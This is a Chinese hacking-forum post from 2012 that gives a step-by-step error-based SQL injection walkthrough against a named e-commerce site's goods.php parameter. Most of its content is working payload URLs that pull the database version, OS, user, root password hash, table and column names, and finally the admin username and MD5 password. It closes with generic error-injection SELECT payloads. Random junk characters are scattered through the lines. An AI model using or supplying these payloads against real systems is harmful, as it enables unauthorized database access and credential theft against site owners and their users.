找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2273|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
判断版本号 0 s" W* G% A0 V1 l8 i
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
  Y, }0 O+ b6 S2 N  d- \0 H
2 s. K1 Q. l- o8 _* Z" b  \判断系统
  F2 h. A/ B, g/ d
7 @& e: E" D5 r6 o) i3 M* B; \http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23/ {' k  M* _" j0 e# Q
& H: f3 J' x5 F2 E9 u
! w/ l: H$ _, c
% q. x2 F9 _7 l6 a
当前 user()
" |+ m# K  n9 A; H* E5 n4 v: f5 Q6 u
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
! ]% [6 D0 n) _+ H$ k+ o2 H+ Z
: u" \( V9 @- L% B1 e) Z) g* n: \. `/ Q! h( B" J
# i8 W! q4 N( a/ F) F+ ]. o
当前 database()
  U% Z5 \% C, n3 Rhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
$ Z- U6 L, V* u# ^9 _' j6 S; h' f8 x" D& f8 h$ r

0 \2 @) w" Y6 G8 I- T) x7 k# R/ }: X# C
  X$ k" Y9 o0 Q$ [1 s+ Z0 Q
root hash
( I3 f8 `3 }& }- M4 |$ z, u8 m8 a: A4 @
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%233 x* s8 ~3 Z1 R. m" V" x

* W5 ?) o! k) \2 B7 A% h0 O/ L4 |
( `8 ~8 E2 b3 ^( ]$ C  }
当前 数据库表名
- k4 d, Q3 n1 |" m5 g; N8 D+ P, ^/ a- `: D
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23* @( Q8 r5 z+ A$ W# X* i2 E
7 h/ j# u/ u: B# u$ y' A% o! g: ]

0 H( Q" y# \. x" C* P( ]
& i' i5 I' q( `& E当前 数据库 user_name 字段4 F4 R/ X4 W$ n9 C

. I+ \' ~4 I, b$ s6 q  `6 lhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23/ K- ^( z2 ]( Y, S( N5 _
+ b7 @& Y# w- B6 Y
当前 数据库 字段 password+ t5 C; E0 E8 [
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
6 _2 n4 u" h& o; ~) `+ F) c$ ~: h, U$ l5 z

" `% J0 `5 Y6 H* [- N" s
1 O- B2 ]4 k7 t获得 admin passwd(md5)8 ]3 [; }2 w1 I( v2 N( |, M. w9 c: K

6 }8 s6 U  P) N0 T% j
/ h9 n( x# e  W% b  E& I" o8 Jhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
+ x" P% G) G* y) B# Y2 G* X) ]0 q( k- W* g0 F3 B/ z: i$ u1 y# L
报错注射
/ L: Y2 z6 @; }" n" m5 r( `% ISELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)7 _/ h  K5 u' |8 e  s7 N; f* c

  n0 C& \" k) e5 ]SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)5 ^6 \# X4 L7 D' x' |7 u
; m! n) @$ M/ O8 R* `/ e3 X
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表